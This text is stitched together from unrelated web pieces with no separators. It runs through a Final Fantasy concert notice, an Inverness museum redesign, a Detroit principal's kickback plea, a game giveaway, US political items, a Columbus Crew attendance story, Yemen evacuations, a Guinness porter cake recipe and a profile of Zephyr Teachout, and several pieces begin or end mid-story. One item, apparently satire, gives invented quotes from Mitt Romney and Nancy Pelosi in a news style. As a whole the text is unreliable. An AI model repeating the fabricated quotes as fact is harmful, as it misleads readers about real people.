Distant Worlds: music from FINAL FANTASY symphony concert world tour returns to Singapore after seven years. The global multimedia concert phenomenon, featuring the music of FINAL FANTASY, will hold a one-night only performance at the Star Theatre on 3 December 2016. Presented by Avex Asia, Distant Worlds showcases the music of Japanese video game composer Nobuo Uematsu and is conducted by Grammy Award-winning conductor Arnie Roth. With exclusive HD video content from legendary game developers SQUARE ENIX, the multimedia experience combines stirring screen images to match the soaring emotions of a symphony orchestra. The Metropolitan Festival Orchestra, Singapore’s only fully-independent professional symphony orchestra, will perform music from the world-renowned FINAL FANTASY video game series.
After three sold-out concerts during its debut in Singapore in 2009, Distant Worlds returns to South-east Asia with fresh arrangements of music from throughout the 28+ years of the FINAL FANTASY catalogue.
Program Highlights include:
• FINAL FANTASY X: Suteki da ne, featuring original vocal soloist RIKKI in her Singapore Premiere performance with Distant Worlds!
• FINAL FANTASY VII: JENOVA COMPLETE
• FINAL FANTASY VII: Cosmo Canyon
• FINAL FANTASY VIII: Balamb GARDEN ~ Ami
• FINAL FANTASY IX: Roses of May
• FINAL FANTASY X: Zanarkand
• FINAL FANTASY XIII: Blinded By Light
• FINAL FANTASY XIV: Torn From The Heavens
Arnie Roth,
Conductor RIKKI
An artist's impression of the new look cladding, with map outlines of local lochs, rivers and canals visible on it.
A YELLOW aluminium facelift for one of the city’s most derided buildings has been welcomed by community leaders.
Proposals to spruce up the Inverness Museum and Art Gallery on Bridge Street have been submitted as part of a planning application that could see the River Ness etched into the design.
The move is part of the first £3 million of City Deal cash being injected into Inverness, and coincides with proposals to improve Castle Wynd and Inverness Castle.
The improved appearance is designed as a medium term solution to the much-criticised design of the building, with the museum ultimately expected to relocate to Inverness Castle once the courts vacate it.
James Maxwell, chairman of Inverness Civic Trust, believes the cladding will be a welcome change to the current building.
"We as a trust are supportive of the plans not least because it is a considerable improvement on the current building," he said.
"The cladding will provide a modern dressing of the building in anticipation that it will be relocated and in the meantime it will provide some real stimulation for the city centre.
"I think it will really resonate with Invernessians due to the etching of the River Ness on the panels which will be very evocative for those that live here.
"The colour is a duller version of gold and I think if the proposals go ahead the new design will bring a great deal of dynamism."
The reflective designs, which have been drawn up by Three Sixty Architecture, are expected to change appearance in different lights. Provost of Inverness Helen Carmichael also believes the cladding could be the way forward.
"This is an exciting start to the regeneration of the city centre and the project to transform the castle and surrounding area into an attractive place people want to spend time in," she said.
"I think adding the cladding to a building which at the moment is easy to overlook, is an imaginative and creative way to quickly have an impact and make the heart of Inverness more attractive."
According to witnesses, Romney incited the audience’s anger by asking the raucous African-American crowd to stop talking during the film, so he could hear co-star Eugene Levy’s dialogue.
House Minority Leader Nancy Pelosi immediately criticized Romney’s decision to see ‘Madea’s Witness Protection,’ an act she called both calculated and preposterous.
“There is absolutely no evidence that a Mormon has ever seen any of Tyler Perry’s movies, so it’s ridiculous to believe that Mitt Romney actually wanted to watch this one,” Pelosi told Hollywood & Swine. “Just like his speech at the NAACP convention, this was a calculated move on his part to get booed, in an attempt to garner the support of racist white voters.”
Romney immediately went on the defensive, calling Pelosi’s claims that he had ulterior motives for seeing ‘Madea’s Witness Protection,’ outlandish. “The only motive I had going to the movie was to see Eugene Levy, who’s my favorite actor,” Romney said.
Romney’s camp verified his Levy defense by producing thirty years of movie ticket and video rental receipts, proving that he had in fact seen every film in which Eugene Levy appeared.
Three weeks before she was formally charged, ex-Detroit Public Schools principal Willye Pearsall signed a plea agreement, admitting that she received "approximately" $50,000 in bribes from a vendor.
In U.S. District Court today, three months since signing that deal, Pearsall tweaked her story.
Sitting at a defense table before a judge, never removing a straw hat from her head, the former principal at Thurgood Marshall Elementary School admitted that she took kickbacks from a school supply vendor in exchange for helping him bill DPS for materials that were never delivered. But she disputed receiving $50,000, as the government claims.
"This is the first we're hearing of this," Assistant U.S. Attorney Frances Lee Carlson said in court, noting the deal that Pearsall struck with the government had her admitting to receiving $50,000 in kickbacks. And her sentencing guidelines, she said, were based on a kickback amount ranging from $40,000-$95,000.
Pearsall is one of 12 principals charged with taking kickbacks from convicted school supply vendor Norman Shy, who is facing up to seven years in prison for running a $2.7-million kickback scheme involving the principals and one assistant superintendent. Shy and his 13 cohorts were all charged.
Pearsall, the 11th principal to plead guilty in the case, said that documents will eventually prove she took less than $50,000 from Shy. If she's right, Pearsall will be facing a lighter prison sentence. Under the terms of her plea agreement, Pearsall faces 30-37 months in prison and has to pay $50,000 in restitution to DPS.
Pearsall didn't say how much she actually took from Shy, but argued that DPS records will show that "it was impossible" for her school to have given $50,000 in business to Shy's company in a given year. She did not elaborate. The prosecution appeared confused and miffed. Her attorney, Todd Perkins, would only say the kickbacks totaled less than $50,000 — maybe even less than $40,000.
In the end, U.S. District Judge Victoria Roberts accepted Pearsall's guilty plea and set a sentencing date for Sept. 7. Meanwhile, a probation department will put together a pre-sentencing report, which will help Roberts decide what punishment to give Pearsall for her crime, which involved approving phony invoices for supplies that were never delivered.
At her plea hearing, Pearsall said that Shy's kickbacks typically came in the form of checks, which were made out to two of her tutoring companies: J & J Youth Services and Safety Net Enterprises. She said that she rarely dealt with Shy, but that "Mr. Shy had a person who came to see me." She said that she did business with Shy's associate because she was told that she "could get school uniforms" if she used that associate as a vendor.
The prosecution said depending on the probation department's recommendation, Pearsall could end up with a more lenient sentence.
Pearsall is among 14 individuals who were charged in March with helping run kickback schemes that largely benefited Shy, who pleaded guilty to bribery and tax evasion on March 11 and faces up to seven years in prison. He also has to pay back $2.7 million in restitution to DPS and $51,667 in back taxes to the IRS.
According to federal prosecutors, Shy was at the center of a $2.7-million DPS kickback scheme that robbed students of supplies that were paid for but never delivered over a seven-year period. He is accused of paying nearly $1 million in kickbacks to 12 principals and one assistant superintendent as rewards for helping him submit phony invoices to DPS for materials such as paper, chairs and supplemental teaching materials.
Shy will be sentenced in September. So far, the stiffest penalty faced by his cohorts is nearly six years in prison. That's what ex-assistant superintendent Clara Flowers is looking at after pleading guilty to accepting nearly $325,000 in kickbacks from Shy for helping him submit inflated invoices for materials that were meant for special education kids. The supplies, she said, were never delivered.
The only defendant who has not pleaded guilty in the case is Josette Buendia, 50, of Garden City, principal at Bennett Elementary School. She is charged with accepting $45,775 in kickbacks from Shy.
Contact Tresa Baldas: tbaldas@freepress.com
With such a large and passionate fan base the game has already been successful on Steam Greenlight even before launch. There has been a lot of excitement for the journey of Dream of Mirror Online to restart and continue stronger than ever in the future.
DoMO has seen quite a lot of success since it’s beta phase, and to celebrate its exciting Steam Launch Suba Games is giving away limited codes for a vanity Sheep pet.
About Dream of Mirror Online
It is a time of myth and legend, where great heroes rise up to fight side by side, united against the instruments of darkness. Take a journey into a fantasy linked by fate to another, a mirrored world that reflects the chaos that has erupted within mankind. Establish relationships and find new friends, take up a job, or soar through the majestic skies on a variety of mounts as you rediscover a social MMORPG beloved by many around the world!
Game Features:
Four unique races all with access to the 14 different classes
Sub system for combat allowing a mix and match of the 14 different classes and their individual skill systems
A flight system to traverse the world quickly with a scenic view
Marriage system for you and your special someone to share a bond and aid one another
Pet system which enables you to care for and raise a small pet to a powerful ally
Character customization is vast with all the costume options available
A vast crafting system which uses materials gathered from many disciplines to form useful items
Claim your Sheep pet key
To get your very own Sheep pet in DOMO simply fill out the form below with your details, and a redemption code will be sent to you instantly!
All keys are gone! Sorry! Be faster next time: keep an eye on GetBetaKeys on Twitter & Facebook for updates and more giveaways, or subscribe to our free newsletter to receive email notifications about future giveaways:
We have 3,000 sheep codes to give away, but judging by the popularity of our previous DOMO giveaway they might disappear quickly so claim yours fast.
Redemption instructions:
Like us on Facebook to make sure you don’t miss out on any giveaways! Fill in the form above, then check your email for the key. Open your Steam client, go to Library, click the button on bottom left “+ ADD A GAME”, then “Activate a product on Steam”. Punch in the code you got from us.
That’s it. Your cute and cuddly miniature sheep with a steam logo on its wool will be ready to follow you.
Note: Dream of Mirror Online will be available on Steam on August 14, 2015, but we’re giving you this opportunity to claim your pet in advance!
A panel has been announced for July 10th in Hall H at 2:30P.M. It’ll be moderated by late-night host and show fan Seth Meyers.
The panelists will include Game of Thrones executive producer Carolyn Strauss, episode director David Nutter and cast members Alfie Allen, John Bradley, Gwendoline Christie, Liam Cunningham, Natalie Dormer, Conleth Hill, Hannah Murray, Sophie Turner, Carice van Houten and Maisie Williams.
There will be autograph signings afterward at 4:15 p.m.
CLOSE She won the Democratic caucus vote by a wide margin. Video provided by Newsy Newslook
Nancy Pelosi had some unlikely fans celebrating her re-election as House minority leader Wednesday — loads of Republicans.
Republicans — including members of President-elect Donald Trump’s team — gloated over Pelosi’s sweeping election over Rep. Tim Ryan, D-Ohio, Wednesday. But it wasn’t because they think she’s a good choice for Democrats, in fact, it’s the opposite.
Pelosi has led Democrats in the House since 2003. She became the first female House speaker in 2007 and then returned to her role as minority leader in 2011 after the Democrats were swept out in the 2010 election. While she’s a very successful party fundraiser, she’s also been blamed for her role in the Democrats massive losses during the 2016 election.
Before the election, the National Republican Congressional Committee trolled Pelosi. “No single person deserves more credit for House Republicans’ historic majority than Nancy Pelosi,” NRCC Communications Director Katie Martin said in a statement. “Under Nancy Pelosi’s leadership, House Democrats have become completely irrelevant.”
Following Pelosi’s win, Republicans took to Twitter to celebrate.
Congrats to House Dems for reelecting Nancy Pelosi! Helps advance GOP cause enormously. Ellison for DNC chair next please! — Karl Rove (@KarlRove) November 30, 2016
What a relief. I was worried they had learned from the elections & might be competitive and cohesive again. https://t.co/cvwi0IxLdU — Kellyanne Conway (@KellyannePolls) November 30, 2016
I think there was some voter fraud in Pelosi's leadership election. Someone let Reince Priebus vote 134 times. — Amanda Carpenter (@amandacarpenter) November 30, 2016
Dems (Nov 9): Geez, I guess we are really out of touch with middle America
Dems (Nov 30): That thing we are doing, yeah, let's double down — Matthew Chisholm (@MChisholm) November 30, 2016
Woot! Can't wait for 2018. 60 GOPs in the Senate? 310+ in the House? #NextRedWavehttps://t.co/Xc5ZFtqcQF — Brian Phillips (@RealBPhil) November 30, 2016
I don’t usually post clips of myself when I go on TV. But I’m posting this one, where I talk about trying to get an abortion in Wisconsin and end up with a miscarriage at work instead. It was a difficult interview, which is why I like it. And, remarkably, I have good hair without trying, which is another reason I like watching the clip.
For those of you who have no idea what I’m talking about. Here’s my twitter that caused uproar. And here’s my post about it. To give you an idea of the recent coverage, here’s the link that is, right now, on the front page of AOL, and here’s a link to an article by Lara Salahi at ABC News — I really like that one.
If you are new to my blog, and you’ve gotten this far, maybe you’ll like staying here for a while. Here’s a good page to begin on: About this blog.
The badge on the Crew’s distinctive yellow jerseys doesn’t really fit the region it’s supposed to represent. Now, there’s a question about whether the club itself has a place in Columbus.
Ironically, it’s a franchise that owes its existence to grass-roots support. More than 11,500 season-ticket deposits were placed back when MLS was courting potential markets in 1994. It was a surprising level of commitment impossible for league founders to ignore.
Seventeen years later, the Crew’s average crowd is the worst in MLS at 11,359 per game, despite the fact the club is in first place in the Eastern Conference. That attendance figure is down 22 percent from 2010 and a whopping 35 percent below this season’s league average. Columbus Crew Stadium is the only soccer-specific facility in MLS without a naming-rights deal, and the club is one of only five that lacks a jersey-front sponsor.
Last week, the Crew staged a lunchtime rally in downtown Columbus that marked the launch of its “Dare to be Massive” campaign. The name reflects the tongue-in-cheek slogan used by the club’s most hardcore fans and is designed to boost both corporate support and a lagging season-ticket base. MLS commissioner Don Garber—who has been asked far more frequently about the identity of future expansion teams than about the health of the current ones—was in attendance.
“Without doubt, there’s no MLS without Lamar Hunt and the Columbus Crew,” Garber said. “It’s time to get it back to be a real true leader.”
The buck stops with Crew president and general manager Mark McCullers. He admitted that the club had “a ways to go” to reach its season-ticket goal of 10,000.
“It’s a very attainable number. We just have to focus on it and get some people to really engage,” McCullers told Sporting News. “I think we’ll get this done, but failure is not an option. We haven’t set a deadline, but we just have to do it.
"Those three things (10,000 season tickets, stadium naming rights and a jersey sponsor) will put us at a break-even situation as a club and will provide financial stability. I don’t really want to think about the alternative.”
A significant chunk of MLS tradition could be at stake. U.S. national team legends Brian McBride and Brad Friedel played in Columbus, the site of the league’s first soccer-specific stadium and first dedicated training facility. The Crew is one of only five clubs that has won the MLS Cup, Supporters Shield and U.S. Open Cup.
There are several superficial explanations for the drop in attendance, including the stadium’s “dead zone” location on the fairgrounds a little more than 3 miles north of the Ohio Statehouse and coach Robert Warzycha’s offseason roster rebuild that led to the departure of 2008 league MVP Guillermo Barros Schelotto and veterans like Frankie Hejduk and Brian Carroll.
But the real issues run deeper.
“We saw a trend starting when we started (season-ticket) renewals last year around August, we started tracking behind year-to-date numbers fairly early. A lot of responses were financial,” McCullers said. “Our corporate season-ticket base has really fallen off. We’re about half the league average for comparable size markets.”
The economy certainly isn't as forgiving as it once was, but the lack of corporate support strikes at the heart of the matter—whether Columbus is a genuine major-league market. The Columbus metro area ranks 32nd in the U.S. in population and is the second smallest in MLS. But what really appears to be lacking isn’t major-league demographics but major-league ambition.
“The Buckeyes dominate the sports landscape. They dominate the media and they extract a significant amount of resources from a small market,” McCullers said. “If fans say we’re not marketing enough, it’s because we have a hard time getting a lot of attention because of the Buckeyes’ dominance. We spend just as much, or more, than most MLS teams in their markets.”
The goliath that is Ohio State athletics represents a challenge unique in MLS, and major professional teams in nearby Cleveland and Cincinnati compete for loyalty and dollars.
All of Columbus’ teams are feeling the pinch. The Crew have joined with the NHL’s Blue Jackets (27th out of 30 teams in 2010-11 attendance) and Class AAA baseball Clippers in a marketing alliance called “Game On Columbus!” designed to convince fans and local business leaders that the modern sports landscape requires more than college football.
“The city leaders very much want pro sports to succeed,” McCullers said. “They understand the economic impact, what it brings to quality of life, the national perception, how that brings talent to the business community. They get it.”
Soon the city’s companies and its sports fans must get it as well, or McCullers, owner Clark Hunt and the rest of the Crew might come face to face with the unimaginable. The club has claimed three major trophies in the past four years and has the league’s second-best regular-season record in that time. In Columbus, however, that’s not enough. “America’s hardest working team” has its work cut out.
Court records show that federal magistrate William V. Gallo in San Diego held a detention hearing for Seerden on April 13, the same day an extradition warrant was issued. More detailed documents remain sealed by court order.
Seerden’s criminal defense attorney, Gerard Jeffrey Wasson, has not returned a call placed Friday morning seeking comment. If convicted, the mandatory minimum sentence for the charges is 15 years in prison.
“Petty Officer First Class Seerden is an active-duty service member assigned to a ‎Naval Special Warfare unit. NSW is cooperating with the investigative authorities,” said Lt. Zachary Keating, spokesman for Naval Special Warfare Group One.
When asked whether Navy commanders were administratively moving to strip Seerden of his coveted trident insignia and the honor of being called a SEAL, Keating declined comment.
Along with scrapping a SEAL’s security clearance, that’s a step special warfare commanders often take because it is not considered a form of punishment under military law.
In disclosure forms Seerden filed in federal court, the SEAL claimed to be divorced and without children. He said he earns $6,000 per month in the Navy, has $10,000 in the bank, owns both a car and a motorcycle and took a $20,000 stake in a silver investment.
The Navy has been marred by other criminal scandals of late. On March 24, a military judge found Chief Special Warfare Operator Stephen Varanko III guilty of sexual harassment and battery stemming from an adulterous relationship. He was a SEAL assigned to Joint Expeditionary Base Little Creek — Fort Story.
I met Arianna in New York on Tuesday to ask her what she, as the author of a book about women conquering their fears, thought about Clinton’s failure to secure the nomination and her political future.
Here’s what she said about…
Supporting Obama:
Since this is an election where we are clear that it’s in the best interests of the country that (Arizona Republican Senator) John McCain is not president , and we have seen that Obama has a much better chance of defeating John McCain, it’s a very clear choice. (With Obama) there’s no equivocation. It’s the future, getting out of Iraq. It’s a dramatically different take on the economy. It’s a clear break with the past, which the country’s really longing for.
Drawbacks to Clinton:
The two main drawbacks were that she did vote to authorize the war, so it’s much harder to oppose the war as categorically as Obama can oppose it, given that he has been against it from 2002… Given now that a vast majority of the American people know the war was wrong, if you knew that from the begining, you’d have a real clear advantage.
On the disappointment of a woman not getting a major party nomination:
Actually you know, I found her speech on Saturday so incredibly important for women because I have written as you know for my “Fearless” book a lot about how a lot of women have held (themselves) back because of the fear of failure. That has been the greatest fear in women. I mean, men have it too, but women, we have it in a much more intense way.
She failed in her immediate goal of winning the nomination, but this was in a way a historic triumph for women, because the question, “Can a woman be commander-in-chief?” will never be asked again. Can a woman run a great campaign, raise money and get millions of votes? All these questions have now been answered, thanks to her race. As a mother of two teenaged daughters, I’m constantly saying to them, always take the risk, go for your dreams. If you fail, it doesn’t matter. It’s like there is nobody who has succeeded in life who has not failed along the way. (Her speech) was a concession speech but at the same time it was a triumphant speech. I thought it was an incredibly moving, powerful moment for the country and especially for women.
And would she support Hillary in 2012 if she ran again, and the circumstances were right?
Sure. Absolutely.
I also asked why it should be that a woman in the United States still hasn’t had a clear shot at becoming a head of state when countries like India, Indonesia, Germany, Chile and Pakistan have pulled it off.
Her answer:
It has more to do with the women who have run… I don’t think there is more sexism here than there is in India, for example. If you look at the women who run, there isn’t anyone you’d say, “yes, if that person wasn’t a woman, they’d absolutely have to be president.”
Here in South Africa we have been talking about President Zuma's sexual peccadilloes for a long time. Zuma, who was accused of rape in 2006 (and later cleared), has 21 known children. When he married his latest wife – his fourth current wife and his sixth in total – Zuma told her: "Those who came before you didn't close the door on you and no one closed the door on them. So I expect you to do the same."
Analysis of his presidency never concludes with policy discussion – on which Zuma has proven weak – but with his sexual lifestyle. Columnist Mondli Makhanya wrote this week:
"In every other conversation, the debate about the president is not about his political, economic and societal vision, but about which bodily form he is gazing at … the president can spend one whole weekend celebrating his wife's 40th birthday, spend the following weekend celebrating his own 70th birthday with his three wives and his fiancee, and then spend the entire following weekend turning the fiancee into a full wife. Three weekends of fantastic fun. This is a wonderful country. Truly wonderful."
Makhanya had his tongue firmly in cheek, of course. In truth, the damage Zuma has done to the image of the black man everywhere is untold. If the image of his two predecessors, Nelson Mandela and Thabo Mbeki, was of nation-builders and cool intellects, Zuma's is of a man whose concentration is on sex and political self-preservation. He has done more to provide fodder for racist stereotypes than any black South African has done.
Thankfully, enough of us know that the stereotype is false. So what is Zuma's argument? There is nothing in our constitution that enjoins us to respect the head of state, or to genuflect before him. This is a constitutional democracy, not a monarchy. Respect is earned, and very few would say that the president has earned our respect given his lifestyle. Meanwhile, last week schoolchildren had to go to court to force him to provide books still outstanding six months into the school year. His reputation on this score is in tatters.
All this, however, is irrelevant when one considers South Africa's constitution – hailed by many as among the most progressive in the world – and its bill of rights. The right to free expression is entrenched. This includes the artist Brett Murray's right to artistic creativity. In turn, the constitution protects Zuma's right to privacy and dignity.
As a public figure, however, Zuma's rights in this regard are limited. Further, his flaunting of his sexuality – he arrives at government functions with all his wives in tow and enjoys suggestively belting out his signature song "Pass Me My Machine Gun" – makes him fair game for cartoonists, artists, satirists and newspaper columnists.
But this is not to say that South Africans are united on this issue. My friend of 25 years was among those who turned up at court in Johannesburg yesterday to have the painting pulled down. He was not there, he told me, to support Zuma. He was there because "in African culture" such depictions are disrespectful.
The culture argument is a nonsense. Just last week an ANC MP said gay people can be cured by a traditional healer because homosexuality was not part of "African culture". Further, African culture is not homogeneous. And our constitution does not provide for it in any case.
The painting was defaced yesterday. Yet the debate – which has now included death threats against the artist – must go on. If Zuma wins the right to have the painting banned then we must expect to see a country that bends to populism and patriarchal conservatism and not the progressive South Africa which boasts a constitution adopted in Mandela's day. Today it is an artist. Tomorrow it could be abortion, and gay people, and cartoonists, and books.
“There is not a single intact window left,” the source told Sputnik. A possibility of consulate closure and the evacuation of Russian nationals is currently under review, the source added.
Earlier on Wednesday a Russian plane charted for the evacuation of Russian citizens caught in the conflict had been diverted to Cairo, after the coalition denied it landing in the Yemeni capital Sanaa.
The evacuation has now been delayed until Thursday, when the chartered flight “accompanied by two other aircraft” is expected to arrive in Sanaa, according to a source of Russian daily Kommersan. In addition to Russians, the aircraft will also help to evacuate the citizens of the Commonwealth of Independent States, the source added.
READ MORE: Russian evacuation plane denied landing in Yemen, diverts to Cairo
On Wednesday, Houthi rebels have reportedly take control of the Presidential residence in Aden after violent clashes that killed 15 and injured dozens.
“Houthis have taken control of the presidential residence, clashes are taking place around the residence between Houthis and armed groups that support President Hadi. Civilians who have answered the call of [Yemeni] Foreign Minister Riyadh Yaseen to protect the city and restore control over the residence are also taking part in the clashes,” a local source told Sputnik.
According to reports in the Yemeni Hun Aden, the factions clashing in Aden have looted the Russian consulate building. Citing eyewitnesses, the agency claims that Houthi rebels allegedly seized documents and office equipment and took them to an unknown destination. When contacted by TASS, the Russian Embassy in Sanaa did not confirm these reports, saying only that over the last few days the diplomatic mission had been “working in emergency mode.”
READ MORE: ‘45 people killed, 65 injured’: Yemen refugee camp hit by airstrike
Meanwhile Egypt has begun the evacuation of its citizens from Yemen either through border crossings or by sea in a coordinated effort with Oman and Saudi Arabia, the country’s foreign ministry said. India, in the meantime, sent a vessel “into barrage of bombs” in Aden, to evacuate 349 of its nationals to Djibouti and then fly them back home.
Last week, five Gulf states and Egypt launched a series of airstrikes against the Shia Houthi rebels, who had gained control of the capital and large swathes of territory in the west of the country. In addition Jordan, Sudan, Morocco and Pakistan declared their willingness to participate in the military effort.Neighboring Saudi Arabia, has taken full control of the country’s air and sea ports, purportedly to prevent the inflow of weapons from abroad.
What I like about Irish baked goods is that they're always hearty and wholesome, like soda bread, scones, porter cake, and biscuits. And I especially like it when recipes are easy to make—ones that don't require yeast, rising dough, and all the things that come with it. One of the easiest cakes to make is porter cake, which gets its name from the Irish beer used. Yes, a bread recipe that uses beer!
In this case the beer is Guinness, the beer of Ireland: A rich, dark, and malty stout with a creamy head that requires a slow and steady multistep pour to get it just right. Guinness was first introduced as a porter in 1725, but its formula was changed to include roasted malt, which created a flavor profile that drinkers called "stout porter" and thus the name stout was born. Being that Guinness is my absolute favorite beer, I couldn't pass up an opportunity to bake this cake for St. Patrick's Day.
Besides Guinness, loads of dried fruit take center stage in this cake. And you can use any mix of dried or candied fruit you like, as long as it equals about 4 cups. This dump-and-stir recipe from my favorite Irish chef, Darina Allen, couldn't be easier to make. The bake time is long, but it's worth the wait. The cake develops a thick, brown crust and a moist interior filled with sticky, sweet fruit. Enjoy this recipe with whiskey butter for the ultimate pairing of beer and spirits.
Guinness Porter Cake
Recipe adapted from Irish Traditional Cooking by Darina Allen.
3-1/2 cups all-purpose flour
1 teaspoon baking powder
1/4 teaspoon salt
1/2 teaspoon ground nutmeg
1/2 teaspoon ground cinnamon
1 cup packed brown sugar
1 cup (2 sticks) unsalted butter, room temperature
1 cup golden raisins
1 cup raisins
1 cup dried cherries
1 cup chopped prunes
1 tablespoon grated orange zest (about 1 orange)
1-1/4 cups Guinness
2 large eggs, beaten
Orange-Whiskey Butter, for serving (recipe follows)
Preheat oven to 350 degrees F. Butter an 8-by-3-inch round cake pan, line with parchment, and butter again.
Sift together flour, baking powder, salt, nutmeg, and cinnamon over a large bowl. Crumble in brown sugar and mix well. Rub in butter until crumbly. Mix in the dried fruit.
Mix together the Guinness and beaten eggs. Make a well in the dry ingredients and pour in the wet mixture. Mix until well combined. Turn batter out into the parchment-lined pan, smoothing top. Bake for about 2-1/2 hours. A skewer inserted into the center should come out clean. Cool in the pan for about 25 minutes and turn out onto a cooling rack to cool completely. Serve with orange-whiskey butter. Store wrapped tightly in plastic wrap. Yield: 16 slices.
Orange-Whiskey Butter
1/2 cup (1 stick) unsalted butter, room temperature
1/4 cup confectioners sugar
1 tablespoon grated orange zest (about 1 orange)
2 tablespoons Irish whiskey
So, Catzilla's comments aside, because yah, he totally wears the Emperor's hat in this house, and should we ever doubt it, he sends his sidekick, Sith Whispicus out to reinforce his demands...this is a funny book, if you've ever had a cat with a touch of the spiteful in him. Cough *Catzilla*. And mostly, I think the author gets it right. I bought this book for my daughter, but I did some reading myself when it came in today because when I had looked at the on-line preview, it made me laugh. And I always like a good laugh.
Zephyr Teachout and I are seated on the patio of the Catskill Mountain Pizza Company. She’s sipping an orange soda when a woman and her daughter approach our table. “Hello! We’re — what are we? We’re fans,” the woman, whose name is Julia, tells Teachout. “We thought we’d say hi.”
“What’s your name?” Teachout asks the little girl, who can’t be older than 10. It’s Rosa.
“We were just talking about women in politics, Rosa,” Teachout says. “Why is it important, Rosa, to have more women in politics?”
This is it: Rosa’s moment to shine — her chance to blow us all away with an insight as brilliant as it is naïve. So of course, she shrugs her shoulders and says, “I forgot.”
If only it were that easy for the rest of us. With a woman running at the top of the ticket for the first time in history, this election has thrown into sharp focus how underrepresented women are in politics, not only at a national level, but at state and local levels, too. The Rosas of the world need role models, particularly if they’re to consider running for office themselves one day. But fighting for gender equality goes beyond fixing the lack of women in higher office, or stopping draconian abortion laws — it’s woven into every aspect of policy.
Zephyr Teachout gets it. She also happens to be one of hundreds of progressive women running for office across the country. Writing in the Washington Post, Katrina vanden Heuvel called these candidates “the anti-Trump,” and no matter who wins at the top of the ballot, the tidal wave of women running for office at every level — women like Teachout — represents a watershed moment not only for female candidates but for female voters.
Teachout is running for Congress in New York’s 19th District — one of the state’s largest — and her campaign schedule is packed with visits and meetings and town halls and rallies in every corner of its 11 counties. In June, Teachout trounced her rival, Will Yandick, in the district’s Democratic primary, setting the stage for a highly competitive race with Republican candidate John Faso.
This year the 19th District is a so-called “battleground” district, meaning one of just a handful of districts across the country where a Democratic candidate could flip the switch, turning a traditionally red district blue. If Donald Trump loses the presidential race, and if Democrats win in enough battleground districts, there’s a chance (albeit a slim one) Congress could come under Democratic control for the first time since 2010.
The first time Teachout ran for office was in 2014, when she ran a grassroots campaign for governor against Andrew Cuomo. She lost, of course, but she came away with one-third of the vote — an impressive showing. After the race, the New York Times noted that she was the “strongest challenge to an incumbent governor since primaries for the office were established in New York in 1970.”
Since then, she’s kept a relatively low profile, continuing her work as an assistant professor at Fordham Law School and taking over Larry Lessig’s Mayday PAC, which did little to sway 2014 midterm races. But she moved to Dutchess County in early 2015, and about a year later she announced her bid for the 19th District’s empty congressional seat. To hear her tell it, it wasn’t premeditated: “I live here and the seat opened up,” she told the Washington Post at the time. “I seriously did not expect this to happen.”
She was prepared, though; she’d won the 19th District during her 2014 gubernatorial bid, and voters remembered her. Teachout was expected to win her primary, and she did so easily, raking in thousands more votes than Yandik. The race against Faso, however, has proved more challenging.
Teachout is a staunch opponent of Citizens United — when the U.S. Supreme Court ruled the bill constitutional, Justice Stevens cited one of Teachout’s legal articles in his dissent — and one of her tactics in her campaign against Faso has been to call out his wealthy GOP backers. When billionaire hedge-fund manager Paul Singer donated $500,000 to a super-pac funding Faso, Teachout challenged him to a debate. “These are people, mostly men, who are basically just picking and choosing areas and buying people … to represent them,” she said in a campaign video. “I think the people of the 19th District deserve to hear your actual voice.”
With election day drawing nearer, Republican donors are pouring more and more money into the 19th District race — in all, they’ve reportedly spent $5.5 million to boost Faso. Teachout, meanwhile, has received just $1.98 million. It’s this type of opposition spending, she said, that keeps women out of politics.
“Public financing of elections is a feminist issue,” she noted. “I spend a lot of time recruiting women to run for office, and one of the things I hear is, ‘I can’t afford it.’ And what you see is that in towns, cities, and states that have adopted [public financing], far more women run very quickly.”
Her remarks echo the words of Nancy Pelosi, who recently told Politico, “The hard part is money, and incivility. And if you increase the level of civility and lower the role of money, you will get more women [in politics].” The incivility — and the confidence gap — is a different matter altogether. But Teachout’s focus on money in politics is as much a feminist effort as it is a populist one. “When women aren’t in the room, there’s a real cost,” she said. “It has a real impact on what you think of as highly relevant to people.”
Like other Democratic women running for office across the country, Teachout is also using the man at the top of the Republican ticket against her opponent. “Trump audio doesn’t sway Faso from support of GOP nominee,” reads one press release from Teachout’s office, referring to Trump’s Access Hollywood tape. “Faso said he supports Trump, still won’t say if he’s voting for him,” reads another.
But although she sees both equal pay and abortion access as important issues — “Choice is really important to me; I’m at a loss for words at how strongly I feel about it,” she tells me at one point — they’re not the key issues in her campaign. A large portion of swing voters in District 19 are Independent women. She’s listened carefully to those women, she tells me, and has come to think of broader issues as “women’s issues,” too.
“I’ve had multiple conversations with women about health care,” she said. “That’s not a ‘women’s issue,’ but it’s an issue that totally affects women differently, because women end up taking the overwhelming share of the responsibility of taking care of elderly parents. There’s an incredible amount of concern about safe water. There are two professions, nursing and education, that are dominated by women, and in both professions you’ve seen this aggressive move toward … the testing model of work, so [that] also affects women disproportionately.”
Joan Mandle, a former activist and a retired Colgate University professor, founded a group called Women With Zephyr that brings women in the district together to discuss such issues. “I don’t think, and Zephyr doesn’t think either, that there are women’s issues, per se,” she told me. “Hillary Clinton, when she was in Beijing at the World Conference on Women years and years ago said that women’s issues are human issues, and they are. But there are ways in which women are particularly harmed by the structure of power in this country. Men are sexually harassed, yeah, but a lot more women are sexually harassed. Men are raped, yeah, but lots more women are raped. So there are certain ways in which women are victimized, and we need to speak to those, and that’s something that she really wants to do.”
Later that afternoon, Teachout stood between a beverage cart and a baby grand piano in the living room of Susan and Stuart Auchincloss. Although it’s near downtown Woodstock, the Auchincloss’s house is hidden from the road by a patch of forest. But that day several dozen cars had found the place and squeezed into the gravel lot out front for a Women With Zephyr meeting.
After an introduction by Susan, Teachout stepped into the middle of the living room to address the group of 20 or so women seated on couches and in easy chairs. None of them appeared to be younger than 40, and a couple, like Susan, had brought their husbands. Echoing another prominent female politician, the first thing Teachout did was to tell them she was there to listen. “It’s really important for me to hear from you,” she said. “Because there’s something in you that said, ‘I want to engage in this political race,’ and I actually want to know what that is.”
This, Mandle said, is her specialty: “She’s warm, she’s passionate, she’s sincere, and I think people believe she means what she says.”
Although she shares many of his beliefs, Teachout is not — as some have written — a vehicle for carrying on the campaign of Senator Bernie Sanders. True, she and Sanders endorsed each other early-on, and Sanders recently stopped to stump for Teachout in New Paltz during his circuit of the country. But on the same day Sanders endorsed Hillary Clinton, Teachout also expressed her support for the Democratic nominee.
Progressive leaders weren’t pleased. “Zephyr Teachout is a sellout,” one organization wrote. America Rising published a post with the headline, “Zephyr Teachout Stands By Clinton Corruption Critique, But Proud to Support Her Campaign?” Like most Sanders supporters — 36 percent of voters under the age of 30, according to a recent New York Times/CBS News poll — Teachout’s natural support base isn’t thrilled with the prospect of Clinton at the top of the ticket.
